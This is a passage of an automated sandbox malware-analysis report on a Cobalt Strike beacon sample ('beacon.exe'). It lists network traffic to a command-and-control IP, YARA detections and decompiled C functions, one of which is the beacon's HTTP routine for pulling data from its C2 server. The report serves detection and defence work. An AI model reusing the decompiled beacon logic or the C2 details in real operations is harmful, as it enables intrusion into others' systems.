Sep 3, 2021 10:58:51.265608072 CEST	50153	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:51.345091105 CEST	50154	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:51.381093979 CEST	33287	50154	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:51.381308079 CEST	50154	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:51.383513927 CEST	50154	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:51.420303106 CEST	33287	50154	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:51.420377970 CEST	33287	50154	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:51.420587063 CEST	50154	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:51.459223986 CEST	33287	50154	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:51.459424973 CEST	50154	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:51.459981918 CEST	50154	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:51.463321924 CEST	50154	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:51.499660969 CEST	33287	50154	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:51.500114918 CEST	33287	50154	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:51.500164032 CEST	33287	50154	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:51.500256062 CEST	50154	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:51.500278950 CEST	50154	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:51.500893116 CEST	50154	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:51.500924110 CEST	50154	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:51.536569118 CEST	33287	50154	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:51.536770105 CEST	50154	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:51.610820055 CEST	50155	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:51.646882057 CEST	33287	50155	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:51.647102118 CEST	50155	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:51.648071051 CEST	50155	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:51.686085939 CEST	33287	50155	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:51.686131001 CEST	33287	50155	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:51.686589003 CEST	50155	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:51.722661018 CEST	33287	50155	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:51.722814083 CEST	50155	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:51.723567009 CEST	50155	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:51.728955984 CEST	50155	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:51.764906883 CEST	33287	50155	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:51.765429020 CEST	33287	50155	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:51.765449047 CEST	33287	50155	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:51.765738964 CEST	50155	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:51.766355038 CEST	50155	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:51.766410112 CEST	50155	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:51.802262068 CEST	33287	50155	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:51.802423954 CEST	50155	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:51.876180887 CEST	50156	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:51.912049055 CEST	33287	50156	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:51.912204027 CEST	50156	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:51.913063049 CEST	50156	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:51.948901892 CEST	33287	50156	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:51.949101925 CEST	33287	50156	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:51.951911926 CEST	50156	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:51.987692118 CEST	33287	50156	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:51.988204002 CEST	50156	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:51.988663912 CEST	50156	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:51.991811991 CEST	50156	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:52.028476954 CEST	33287	50156	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:52.028527975 CEST	33287	50156	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:52.028543949 CEST	33287	50156	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:52.028642893 CEST	50156	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:52.029330969 CEST	50156	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:52.029361963 CEST	50156	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:52.070928097 CEST	33287	50156	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:52.071057081 CEST	50156	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:52.141746044 CEST	50157	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:52.179866076 CEST	33287	50157	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:52.179960966 CEST	50157	33287	192.168.2.5	185.156.73.37

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 3, 2021 10:56:39.712099075 CEST	65307	53	192.168.2.5	8.8.8.8
Sep 3, 2021 10:56:39.744286060 CEST	53	65307	8.8.8.8	192.168.2.5
Sep 3, 2021 10:56:42.046905994 CEST	64344	53	192.168.2.5	8.8.8.8
Sep 3, 2021 10:56:42.082612991 CEST	53	64344	8.8.8.8	192.168.2.5
Sep 3, 2021 10:56:49.433624983 CEST	62060	53	192.168.2.5	8.8.8.8
Sep 3, 2021 10:56:49.466730118 CEST	53	62060	8.8.8.8	192.168.2.5
Sep 3, 2021 10:56:58.527170897 CEST	61805	53	192.168.2.5	8.8.8.8
Sep 3, 2021 10:56:58.569812059 CEST	53	61805	8.8.8.8	192.168.2.5
Sep 3, 2021 10:57:12.955727100 CEST	54795	53	192.168.2.5	8.8.8.8
Sep 3, 2021 10:57:13.000632048 CEST	53	54795	8.8.8.8	192.168.2.5
Sep 3, 2021 10:57:31.700028896 CEST	49557	53	192.168.2.5	8.8.8.8
Sep 3, 2021 10:57:31.745064974 CEST	53	49557	8.8.8.8	192.168.2.5
Sep 3, 2021 10:57:47.904274940 CEST	61733	53	192.168.2.5	8.8.8.8
Sep 3, 2021 10:57:47.937514067 CEST	53	61733	8.8.8.8	192.168.2.5
Sep 3, 2021 10:57:52.688869953 CEST	65447	53	192.168.2.5	8.8.8.8
Sep 3, 2021 10:57:52.775723934 CEST	53	65447	8.8.8.8	192.168.2.5
Sep 3, 2021 10:58:22.971945047 CEST	52441	53	192.168.2.5	8.8.8.8
Sep 3, 2021 10:58:23.021814108 CEST	53	52441	8.8.8.8	192.168.2.5
Sep 3, 2021 10:58:24.959661007 CEST	62176	53	192.168.2.5	8.8.8.8
Sep 3, 2021 10:58:24.994690895 CEST	53	62176	8.8.8.8	192.168.2.5

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

System Behavior

Analysis Process: beacon.exe PID: 5204 Parent PID: 6132

General

Start time:	10:56:46
Start date:	03/09/2021
Path:	C:\Users\user\Desktop\beacon.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\beacon.exe'
Imagebase:	0x400000
File size:	284672 bytes
MD5 hash:	8D8D168E25D41E2D4304C08CB3105D9B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: HKTL_Meterpreter_inMemory, Description: Detects Meterpreter in-memory, Source: 00000000.00000002.508059317.0000000000690000.00000020.00000001.sdmp, Author: netbiosX, Florian Roth Rule: ReflectiveLoader, Description: Detects a unspecified hack tool, crack or malware using a reflective loader - no hard match - further investigation recommended, Source: 00000000.00000002.508059317.0000000000690000.00000020.00000001.sdmp, Author: Florian Roth Rule: Beacon_K5om, Description: Detects Meterpreter Beacon - file K5om.dll, Source: 00000000.00000002.508059317.0000000000690000.00000020.00000001.sdmp, Author: Florian Roth Rule: Leviathan_CobaltStrike_Sample_1, Description: Detects Cobalt Strike sample from Leviathan report, Source: 00000000.00000002.508059317.0000000000690000.00000020.00000001.sdmp, Author: Florian Roth Rule: Malware_QA_vqgk, Description: VT Research QA uploaded malware - file vqgk.dll, Source: 00000000.00000002.508059317.0000000000690000.00000020.00000001.sdmp, Author: Florian Roth Rule: PowerShell_Susp_Parameter_Combo, Description: Detects PowerShell invocation with suspicious parameters, Source: 00000000.00000002.508059317.0000000000690000.00000020.00000001.sdmp, Author: Florian Roth Rule: CobaltStrike_C2_Encoded_XOR_Config_Indicator, Description: Detects CobaltStrike C2 encoded profile configuration, Source: 00000000.00000002.508059317.0000000000690000.00000020.00000001.sdmp, Author: yara@s3c.za.net Rule: CobaltStrike_Unmodifed_Beacon, Description: Detects unmodified CobaltStrike beacon DLL, Source: 00000000.00000002.508059317.0000000000690000.00000020.00000001.sdmp, Author: yara@s3c.za.net Rule: WiltedTulip_ReflectiveLoader, Description: Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip, Source: 00000000.00000002.508059317.0000000000690000.00000020.00000001.sdmp, Author: Florian Roth Rule: JoeSecurity_CobaltStrike_2, Description: Yara detected CobaltStrike, Source: 00000000.00000002.508059317.0000000000690000.00000020.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_CobaltStrike, Description: Yara detected CobaltStrike, Source: 00000000.00000002.508059317.0000000000690000.00000020.00000001.sdmp, Author: Joe Security Rule: crime_win32_csbeacon_1, Description: Detects Cobalt Strike loader, Source: 00000000.00000002.508059317.0000000000690000.00000020.00000001.sdmp, Author: @VK_Intel Rule: HKTL_Meterpreter_inMemory, Description: Detects Meterpreter in-memory, Source: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, Author: netbiosX, Florian Roth Rule: ReflectiveLoader, Description: Detects a unspecified hack tool, crack or malware using a reflective loader - no hard match - further investigation recommended, Source: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, Author: Florian Roth Rule: Beacon_K5om, Description: Detects Meterpreter Beacon - file K5om.dll, Source: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, Author: Florian Roth Rule: Leviathan_CobaltStrike_Sample_1, Description: Detects Cobalt Strike sample from Leviathan report, Source: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, Author: Florian Roth Rule: Malware_QA_vqgk, Description: VT Research QA uploaded malware - file vqgk.dll, Source: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, Author: Florian Roth Rule: PowerShell_Susp_Parameter_Combo, Description: Detects PowerShell invocation with suspicious parameters, Source: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, Author: Florian Roth Rule: CobaltStrike_Unmodifed_Beacon, Description: Detects unmodified CobaltStrike beacon DLL, Source: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, Author: yara@s3c.za.net Rule: WiltedTulip_ReflectiveLoader, Description: Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip, Source: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, Author: Florian Roth Rule: JoeSecurity_CobaltStrike, Description: Yara detected CobaltStrike, Source: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, Author: Joe Security Rule: crime_win32_csbeacon_1, Description: Detects Cobalt Strike loader, Source: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, Author: @VK_Intel
Reputation:	low

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: beacon.exe PID: 5204 Parent PID: 6132 beacon.exeCOMMON

Executed Functions

Function 008623B7, Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 169
networkfileCOMMON

Download Yara Rule

C-Code - Quality: 56%

			E008623B7(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				long _v12;
				int _v16;
				long _v20;
				long _v40;
				void* _v44;
				intOrPtr _v48;
				void _v52;
				int _v56;
				int _v60;
				char* _v64;
				char _v1095;
				char _v1096;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr* _t53;
				void* _t60;
				intOrPtr* _t62;
				int _t69;
				long _t72;
				int _t78;
				long _t84;
				signed int _t85;
				void* _t87;
				intOrPtr _t89;
				void* _t94;
				intOrPtr _t95;
				void* _t96;
				void* _t97;
				void* _t101;
				void* _t104;
				intOrPtr _t105;

				_t84 = 0;
				_t85 = 8;
				_v56 = 0;
				memset( &_v52, 0, _t85 << 2);
				_v64 = "*/*";
				_v60 = 0;
				_v20 = 0;
				_v12 = 0;
				_v16 = 0;
				_v1096 = 0;
				E0087C290( &_v52 + _t85,  &_v1095, 0, 0x3ff);
				E00867E16( *0x89af04, 0,  &_v56);
				_t100 = "%s";
				E008749A6("%s", 0x400, _v48, 0x400, "%s", _a4);
				_push(0);
				_push(0);
				_push( *0x89af04);
				_push(0x89af08);
				_push( &_v56);
				_t94 = 0xc;
				_push(E00869F7B(_t94));
				E008677C3();
				_t53 = _v52;
				_t87 = _t53 + 1;
				do {
					_t95 =  *_t53;
					_t53 = _t53 + 1;
				} while (_t95 != 0);
				_t115 = _t53 != _t87;
				if(_t53 != _t87) {
					_push(_v52);
					E008749A6(_t100, 0x400,  &_v1096, 0x400, "%s%s", _v48);
				} else {
					E008749A6(_t100, 0x400,  &_v1096, 0x400, _t100, _v48);
				}
				_push(0x893c58);
				_push( *0x893c5c);
				_push( &_v64);
				_push(_t84);
				_push(_t84);
				_push( &_v1096);
				_t96 = 0x1a;
				_t60 = HttpOpenRequestA( *0x8975f8, E00869F7B(_t96), ??, ??, ??, ??, ??, ??); // executed
				_t101 = _t60;
				E008620DF(_t87, _t115, _t101);
				_t62 = _v56;
				_t104 = _t62 + 1;
				do {
					_t89 =  *_t62;
					_t62 = _t62 + 1;
				} while (_t89 != _t84);
				HttpSendRequestA(_t101, _v56, _t62 - _t104, _v44, _v40);
				E00867E93( &_v56);
				if(E0086213E(_t101) != 0) {
					_t69 = InternetQueryDataAvailable(_t101,  &_v20, _t84, _t84); // executed
					__eflags = _t69;
					if(_t69 == 0) {
						L19:
						InternetCloseHandle(_t101); // executed
						__eflags = 0;
						return 0;
					}
					_t72 = _v20;
					__eflags = _t72 - _t84;
					if(_t72 <= _t84) {
						goto L19;
					}
					__eflags = _t72 - _a12;
					if(_t72 >= _a12) {
						goto L19;
					}
					__eflags = _a12 - _t84;
					if(_a12 <= _t84) {
						L9:
						InternetCloseHandle(_t101);
						return _t84;
					} else {
						goto L14;
					}
					while(1) {
						L14:
						_t105 = _v16;
						_t78 = InternetReadFile(_t101, _a8 + _t105, 0x1000,  &_v12);
						__eflags = _t78;
						if(_t78 == 0) {
							break;
						}
						__eflags = _v12 - _t84;
						if(_v12 == _t84) {
							break;
						}
						_t105 = _t105 + _v12;
						_v16 = _t105;
						__eflags = _t105 - _a12;
						if(_t105 < _a12) {
							continue;
						}
						break;
					}
					__eflags = _t105 - _a12;
					if(_t105 >= _a12) {
						goto L9;
					}
					InternetCloseHandle(_t101);
					_push(_a12);
					_t97 = 0xb;
					_push(E00869F7B(_t97));
					return E00867CCB(_t105, _a8, _t97, __eflags);
				}
				_t84 = _t84 | 0xffffffff;
				goto L9;
			}

0x008623c3
0x008623c7
0x008623d2
0x008623d5
0x008623df
0x008623e6
0x008623e9
0x008623ec
0x008623ef
0x008623f2
0x008623f8
0x00862408
0x00862410
0x0086241f
0x00862427
0x00862428
0x00862429
0x00862432
0x00862437
0x0086243a
0x00862440
0x00862441
0x00862446
0x0086244c
0x0086244f
0x0086244f
0x00862451
0x00862452
0x00862456
0x0086245e
0x00862470
0x0086247d
0x00862460
0x00862466
0x0086246b
0x00862485
0x0086248a
0x00862493
0x00862494
0x00862495
0x0086249c
0x0086249f
0x008624ac
0x008624b2
0x008624b5
0x008624ba
0x008624be
0x008624c1
0x008624c1
0x008624c3
0x008624c4
0x008624d5
0x008624de
0x008624ec
0x00862503
0x00862509
0x0086250b
0x00862571
0x00862572
0x00862578
0x00000000
0x00862578
0x0086250d
0x00862510
0x00862512
0x00000000
0x00000000
0x00862514
0x00862517
0x00000000
0x00000000
0x00862519
0x0086251c
0x008624f1
0x008624f2
0x00000000
0x00000000
0x00000000
0x00000000
0x0086251e
0x0086251e
0x0086251e
0x00862531
0x00862537
0x00862539
0x00000000
0x00000000
0x0086253b
0x0086253e
0x00000000
0x00000000
0x00862540
0x00862543
0x00862546
0x00862549
0x00000000
0x00000000
0x00000000
0x00862549
0x0086254b
0x0086254e
0x00000000
0x00000000
0x00862551
0x00862557
0x0086255c
0x00862565
0x00000000
0x0086256e
0x008624ee
0x00000000

APIs

_memset.LIBCMT ref: 008623F8
__snprintf.LIBCMT ref: 0086241F

Part of subcall function 008677C3: _memset.LIBCMT ref: 008677E4

__snprintf.LIBCMT ref: 00862466
__snprintf.LIBCMT ref: 0086247D
HttpOpenRequestA.WININET(00000000,?,00000000,00000000,0088D530,00893C58), ref: 008624AC
HttpSendRequestA.WININET(00000000,?,?,00862596,?), ref: 008624D5
InternetCloseHandle.WININET(00000000), ref: 008624F2
InternetQueryDataAvailable.WININET(00000000,008614BC,00000000,00000000), ref: 00862503
InternetReadFile.WININET(00000000,?,00001000,?), ref: 00862531
InternetCloseHandle.WININET(00000000), ref: 00862551
InternetCloseHandle.WININET(00000000), ref: 00862572

Strings

%s%s, xrefs: 00862476
*/*, xrefs: 008623DF

Memory Dump Source

Source File: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: true

Yara matches

Similarity

API ID: Internet$CloseHandle__snprintf$HttpRequest_memset$AvailableDataFileOpenQueryReadSend
String ID: %s%s$*/*
API String ID: 2581463937-856325523
Opcode ID: 512faba3fbc738f9af0d337a253887f0adead5a4b03c1ccb2185465b35796636
Instruction ID: 58189ab63e4b949f41e766853fd704615f74b63bb052cb4bcb5ffab3edddf777
Opcode Fuzzy Hash: 512faba3fbc738f9af0d337a253887f0adead5a4b03c1ccb2185465b35796636
Instruction Fuzzy Hash: 2251B0B2D00119BFDF11AFA8DC85EAEBB7DFB04314F1144A5FA15E2161DB309A049B62

Uniqueness

Uniqueness Score: -1.00%

Function 00401180, Relevance: 19.7, APIs: 13, Instructions: 199
sleeplibrarystringCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E00401180() {
				void* _v16;
				signed int _v48;
				void* _v52;
				char _v96;
				signed int _v112;
				void* _v113;
				void* _v116;
				intOrPtr _v132;
				int _v136;
				void* _v144;
				void* _v148;
				void* _v152;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t47;
				signed int _t49;
				void* _t52;
				intOrPtr* _t56;
				_Unknown_base(*)()* _t58;
				void* _t59;
				_Unknown_base(*)()* _t60;
				void* _t64;
				void* _t66;
				int _t71;
				void* _t75;
				signed char* _t78;
				int _t84;
				intOrPtr _t85;
				signed int _t86;
				signed int _t92;
				void* _t93;
				signed int _t94;
				char* _t97;
				signed int _t98;
				signed int _t100;
				void* _t101;
				void* _t102;
				char* _t103;
				void* _t104;
				int _t106;
				void* _t107;
				void* _t108;
				signed int _t112;
				intOrPtr* _t113;
				void* _t114;
				void* _t115;

				L0:
				while(1) {
					L0:
					_t107 = _t108;
					_t93 =  &_v96;
					_t101 = _t93;
					memset(_t101, 0, 0x11 << 2);
					_t102 = _t101 + 0x11;
					_t47 = E00402BB0(0x30);
					_t49 =  &_v113 & 0xfffffff0;
					 *_t49 = 0xcccccccc;
					 *((intOrPtr*)(_t49 + 4)) = 0xcccccccc;
					 *((intOrPtr*)(_t49 + 8)) = 0xcccccccc;
					 *((intOrPtr*)(_t49 + 0xc)) = 0xcccccccc;
					 *((intOrPtr*)(_t49 + 0x10)) = 0xcccccccc;
					 *((intOrPtr*)(_t49 + 0x14)) = 0xcccccccc;
					 *((intOrPtr*)(_t49 + 0x18)) = 0xcccccccc;
					 *((intOrPtr*)(_t49 + 0x1c)) = 0xcccccccc;
					_t112 = _t108 - 0x0000007c + 0xc - _t47 & 0xfffffff0;
					if( *0x447040 != 0) {
						 *_t112 = _t93;
						GetStartupInfoA(??);
						_t112 = _t112 - 4;
					}
					_t104 = Sleep;
					_t84 =  *((intOrPtr*)( *[fs:0x18] + 4));
					while(1) {
						L4:
						_v132 = 0;
						_v136 = _t84;
						 *_t112 = 0x447444;
						_t52 = E00402C00();
						_t113 = _t112 - 0xc;
						if(_t52 == 0) {
							break;
						}
						L2:
						if(_t52 == _t84) {
							L33:
							_t85 = 1;
							if( *0x447448 != 1) {
								L6:
								if( *0x447448 == 0) {
									 *0x447448 = 1;
									_v136 = 0x449018;
									 *_t113 = 0x44900c;
									L00402C58();
								} else {
									 *0x447000 = 1;
								}
								if( *0x447448 == 1) {
									goto L36;
								}
							} else {
								L34:
								 *_t113 = 0x1f;
								L00402C50();
								if( *0x447448 == 1) {
									L35:
									L36:
									_v136 = 0x449008;
									 *_t113 = 0x449000;
									L00402C58();
									 *0x447448 = 2;
								}
							}
							L41:
						} else {
							L3:
							 *_t113 = 0x3e8;
							Sleep(??);
							_t112 = _t113 - 4;
							continue;
						}
						L9:
						if(_t85 == 0) {
							asm("lock xchg [0x447444], ebx");
						}
						_t56 =  *0x4460a4; // 0x401950
						if(_t56 != 0) {
							_v132 = 0;
							_v136 = 2;
							 *_t113 = 0;
							 *_t56();
							_t113 = _t113 - 0xc;
						}
						E004020F0(_t85, _t102, _t104);
						 *_t113 = E00401BF0; // executed
						_t58 = SetUnhandledExceptionFilter(??); // executed
						_t114 = _t113 - 4;
						 *0x447048 = _t58;
						_t59 = E004026A0();
						 *(_t114 + 4) = "_set_invalid_parameter_handler";
						_v144 = _t59;
						_t60 = GetProcAddress(??, ??);
						_t115 = _t114 - 8;
						if(_t60 != 0) {
							_v144 = 0x401000;
							_t60 =  *_t60();
						}
						E00402760(_t60);
						if( *0x447040 != 0) {
							L16:
							_t92 = 0;
							_t78 =  *_acmdln;
							while(1) {
								L20:
								_t98 =  *_t78 & 0x000000ff;
								if(_t98 <= 0x20) {
									goto L17;
								}
								L21:
								_t92 =  ==  ? _t92 ^ 0x00000001 : _t92;
								L19:
								_t78 =  &(_t78[1]);
								L20:
								_t98 =  *_t78 & 0x000000ff;
								if(_t98 <= 0x20) {
									goto L17;
								}
								goto L25;
								L17:
								if(_t98 != 0) {
									L18:
									if(_t92 == 0) {
										while(1) {
											L23:
											_t78 =  &(_t78[1]);
											_t100 =  *_t78 & 0x000000ff;
											if(_t100 > 0x20) {
												goto L24;
											}
											L22:
											if(_t100 != 0) {
												continue;
											}
											goto L24;
										}
									} else {
										goto L19;
									}
								}
								L24:
								 *0x4473e4 = _t78;
								 *0x4473ec = 0x400000;
								_t80 =  !=  ? _v48 & 0x0000ffff : 0xa;
								 *0x4473e8 =  !=  ? _v48 & 0x0000ffff : 0xa;
								goto L25;
							}
						}
						L25:
						_t94 =  *0x447004;
						_t86 = 0;
						_v112 = _t94;
						_t64 = malloc(4 + _t94 * 4);
						_t103 =  *0x447008;
						_v116 = _t64;
						if(_v112 > 0) {
							L26:
							do {
								L27:
								_t28 = strlen( *(_t103 + _t86 * 4)) + 1; // 0x1
								_t106 = _t28;
								_t75 = malloc(_t106);
								 *(_v116 + _t86 * 4) = _t75;
								_t97 =  *(_t103 + _t86 * 4);
								_t86 = _t86 + 1;
								_v136 = _t106;
								_v144 = _t75;
								 *(_t115 + 4) = _t97;
								memcpy(??, ??, ??);
							} while (_t86 != _v112);
							_t86 = _t86 << 2;
						}
						L29:
						_t66 = _v116;
						 *((intOrPtr*)(_t66 + _t86)) = 0;
						 *0x447008 = _t66;
						E004027F0();
						 *__imp____initenv =  *0x44700c;
						_v136 =  *0x44700c;
						 *(_t115 + 4) =  *0x447008;
						_t71 =  *0x447004;
						E00402CD0(_t71); // executed
						_t105 =  *0x447014;
						 *0x447010 = _t71;
						if( *0x447014 == 0) {
							L39:
							exit(_t71);
							L40:
							 *0x447040 = 1;
							E00402810(_t86, _t103, _t105, _t107);
							goto L0;
						}
						L30:
						if( *0x447000 == 0) {
							L00402C48();
							_t71 =  *0x447010;
						}
						return _t71;
					}
					L5:
					_t85 = 0;
					if( *0x447448 == 1) {
						goto L34;
					} else {
						goto L6;
					}
					goto L9;
				}
			}

0x00401180
0x00401180
0x00401181
0x00401183
0x0040118c
0x00401190
0x00401195
0x00401195
0x00401199
0x004011a4
0x004011a7
0x004011ad
0x004011b4
0x004011bb
0x004011c2
0x004011c9
0x004011d0
0x004011d7
0x004011de
0x004011e8
0x00401473
0x00401476
0x0040147c
0x0040147c
0x004011f4
0x004011fa
0x00401214
0x00401214
0x00401214
0x0040121c
0x00401220
0x00401227
0x0040122c
0x00401231
0x00000000
0x00000000
0x00401200
0x00401202
0x00401420
0x00401425
0x0040142d
0x00401243
0x0040124a
0x00401484
0x0040148e
0x00401496
0x0040149d
0x00401250
0x00401250
0x00401250
0x00401262
0x00000000
0x00000000
0x00401433
0x00401433
0x00401433
0x0040143a
0x00401447
0x00000000
0x00401450
0x00401450
0x00401458
0x0040145f
0x00401464
0x00401464
0x00401447
0x00000000
0x00401208
0x00401208
0x00401208
0x0040120f
0x00401211
0x00000000
0x00401211
0x00401268
0x0040126a
0x0040126c
0x0040126c
0x00401273
0x0040127a
0x0040127c
0x00401284
0x0040128c
0x00401293
0x00401295
0x00401295
0x00401298
0x0040129d
0x004012a4
0x004012aa
0x004012ad
0x004012b2
0x004012b7
0x004012bf
0x004012c2
0x004012c8
0x004012cd
0x004012cf
0x004012d6
0x004012d6
0x004012d8
0x004012e4
0x004012e6
0x004012eb
0x004012ed
0x004012fc
0x004012fc
0x004012fc
0x00401302
0x00000000
0x00000000
0x00401304
0x0040130c
0x004012f9
0x004012f9
0x004012fc
0x004012fc
0x00401302
0x00000000
0x00000000
0x00000000
0x004012f1
0x004012f3
0x004012f5
0x004012f7
0x00401315
0x00401315
0x00401315
0x00401318
0x0040131e
0x00000000
0x00000000
0x00401311
0x00401313
0x00000000
0x00000000
0x00000000
0x00401313
0x00000000
0x00000000
0x00000000
0x004012f7
0x00401320
0x00401328
0x00401332
0x0040133c
0x0040133f
0x00000000
0x0040133f
0x004012fc
0x00401344
0x00401344
0x0040134a
0x00401353
0x00401359
0x0040135e
0x00401364
0x0040136c
0x00000000
0x00401370
0x00401370
0x0040137b
0x0040137b
0x00401381
0x00401389
0x0040138c
0x0040138f
0x00401392
0x00401396
0x00401399
0x0040139d
0x004013a2
0x004013a7
0x004013a7
0x004013aa
0x004013aa
0x004013ad
0x004013b4
0x004013b9
0x004013c9
0x004013d0
0x004013d9
0x004013dd
0x004013e5
0x004013ea
0x004013f2
0x004013f7
0x004014a7
0x004014aa
0x004014b0
0x004014b3
0x004014bd
0x00000000
0x004014c2
0x004013fd
0x00401405
0x00401407
0x0040140c
0x0040140c
0x00401418
0x00401418
0x00401233
0x00401238
0x0040123d
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0040123d

APIs

Sleep.KERNEL32 ref: 0040120F
SetUnhandledExceptionFilter.KERNELBASE ref: 004012A4
GetProcAddress.KERNEL32 ref: 004012C2
malloc.MSVCRT ref: 00401359
strlen.MSVCRT ref: 00401376
malloc.MSVCRT ref: 00401381
memcpy.MSVCRT ref: 0040139D
_cexit.MSVCRT ref: 00401407
GetStartupInfoA.KERNEL32 ref: 00401476

Memory Dump Source

Source File: 00000000.00000002.507969338.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.507960494.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.507986102.0000000000403000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.508034111.0000000000446000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.508042179.0000000000448000.00000004.00020000.sdmp Download File

Similarity

API ID: malloc$AddressExceptionFilterInfoProcSleepStartupUnhandled_cexitmemcpystrlen
String ID:
API String ID: 2757201259-0
Opcode ID: e07e7dbc23da91567352454027d7d7a35055034803df3e2f4d259b8c1d6a90dc
Instruction ID: 5026e11dd2c397450f42dd0be9d8ad26a59777c4461c82d13d27d9265aad70ff
Opcode Fuzzy Hash: e07e7dbc23da91567352454027d7d7a35055034803df3e2f4d259b8c1d6a90dc
Instruction Fuzzy Hash: 6B8170749083008FD710EF69D98575A7BF0FB46308F00893EE884AB3B2D7799845DB9A

Uniqueness

Uniqueness Score: -1.00%

Function 008664B3, Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 124
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E008664B3(void* __eflags, intOrPtr _a4) {
				intOrPtr _v8;
				long _v12;
				CHAR* _v16;
				intOrPtr* _v20;
				CHAR* _v24;
				CHAR* _v28;
				intOrPtr _v32;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t46;
				intOrPtr* _t61;
				void* _t62;
				void* _t65;
				CHAR* _t66;
				void* _t67;
				struct _OSVERSIONINFOA* _t68;
				void* _t70;
				void* _t78;
				intOrPtr _t83;

				_v8 = E00866769(_t67, __eflags, 0x494);
				_t68 = E00866857(_t36, 0x94);
				_v20 = E00866857(_v8, 0x100);
				_v28 = E00866857(_v8, 0x100);
